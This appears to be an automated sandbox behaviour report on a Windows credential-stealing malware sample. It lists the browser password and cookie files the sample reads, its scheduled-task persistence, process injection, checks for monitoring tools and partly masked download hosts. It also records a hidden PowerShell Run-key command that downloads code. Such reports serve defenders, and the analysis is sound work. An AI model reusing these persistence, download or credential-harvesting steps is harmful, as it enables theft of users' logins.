Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\firefox default browser agent d071ded270dbe1c5
Malicious functions
Downloads and executes
- (http://91#.#41+.19+.52/ru+nt+im+ebr+oke+r.exe
Injects code into
the following system processes:
- %WINDIR%\syswow64\explorer.exe
- %WINDIR%\explorer.exe
the following user processes:
- iexplore.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\Martin Prikryl]
- [<HKLM>\Software\Wow6432Node\Martin Prikryl]
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Searches for windows to
detect analytical utilities:
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
Modifies file system
Creates the following files
- %APPDATA%\ashaawt
- %TEMP%\20d6.tmp
- %TEMP%\20b6.tmp
- %TEMP%\20a5.tmp
- %TEMP%\20a4.tmp
- %TEMP%\2084.tmp
- %TEMP%\2083.tmp
- %TEMP%\1fa7.tmp
- %TEMP%\1e7e.tmp
- %TEMP%\1d83.tmp
- %TEMP%\1d73.tmp
- %TEMP%\1bec.tmp
- %TEMP%\1bdb.tmp
- %TEMP%\225d.tmp
- %TEMP%\190d.tmp
- %TEMP%\18be.tmp
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %TEMP%\bba5.exe
- %ALLUSERSPROFILE%\runtimebroker.exe
- %TEMP%\9762.exe
- %TEMP%\93d8.exe
- %TEMP%\72c0.exe
- %TEMP%\5669.exe
- %APPDATA%\uahbuvu
- %TEMP%\18be.tmp-shm
- %TEMP%\225d.tmp-shm
Sets the 'hidden' attribute to the following files
- %APPDATA%\ashaawt
- %APPDATA%\uahbuvu
Deletes the following files
- %TEMP%\18be.tmp-shm
- %TEMP%\20d6.tmp
- %TEMP%\20b6.tmp
- %TEMP%\20a5.tmp
- %TEMP%\20a4.tmp
- %TEMP%\2084.tmp
- %TEMP%\2083.tmp
- %TEMP%\225d.tmp-shm
- %TEMP%\1fa7.tmp
- %TEMP%\1d83.tmp
- %TEMP%\1d73.tmp
- %TEMP%\1bec.tmp
- %TEMP%\1bdb.tmp
- %TEMP%\190d.tmp
- %TEMP%\18be.tmp
- %TEMP%\1e7e.tmp
- %TEMP%\225d.tmp
Deletes itself.
Network activity
Connects to
- '94.##8.245.253':80
- '91.##1.19.52':80
- 'ug###unnog.xyz':80
- 'ap#.ip.sb':443
TCP
HTTP GET requests
- http://re#####listforjuly9.xyz/raccon.exe
HTTP POST requests
- http://re#####listforjuly9.xyz/
- http://ug###unnog.xyz/
- http://94.##8.245.253/
Other
- 'te##te.in':443
- 'ap#.ip.sb':443
UDP
- DNS ASK re#####listforjuly1.xyz
- DNS ASK re#####listforjuly2.xyz
- DNS ASK re#####listforjuly3.xyz
- DNS ASK re#####listforjuly4.xyz
- DNS ASK re#####listforjuly5.xyz
- DNS ASK re#####listforjuly6.xyz
- DNS ASK re#####listforjuly7.xyz
- DNS ASK re#####listforjuly8.xyz
- DNS ASK re#####listforjuly9.xyz
- DNS ASK te##te.in
- DNS ASK ug###unnog.xyz
- DNS ASK ap#.ip.sb
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
- ClassName: 'File Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: 'Process Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
Creates and executes the following
- '%TEMP%\5669.exe'
- '%TEMP%\72c0.exe'
- '%TEMP%\93d8.exe'
- '%TEMP%\9762.exe'
- '%ALLUSERSPROFILE%\runtimebroker.exe'
- '%TEMP%\bba5.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).Dow...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\explorer.exe'
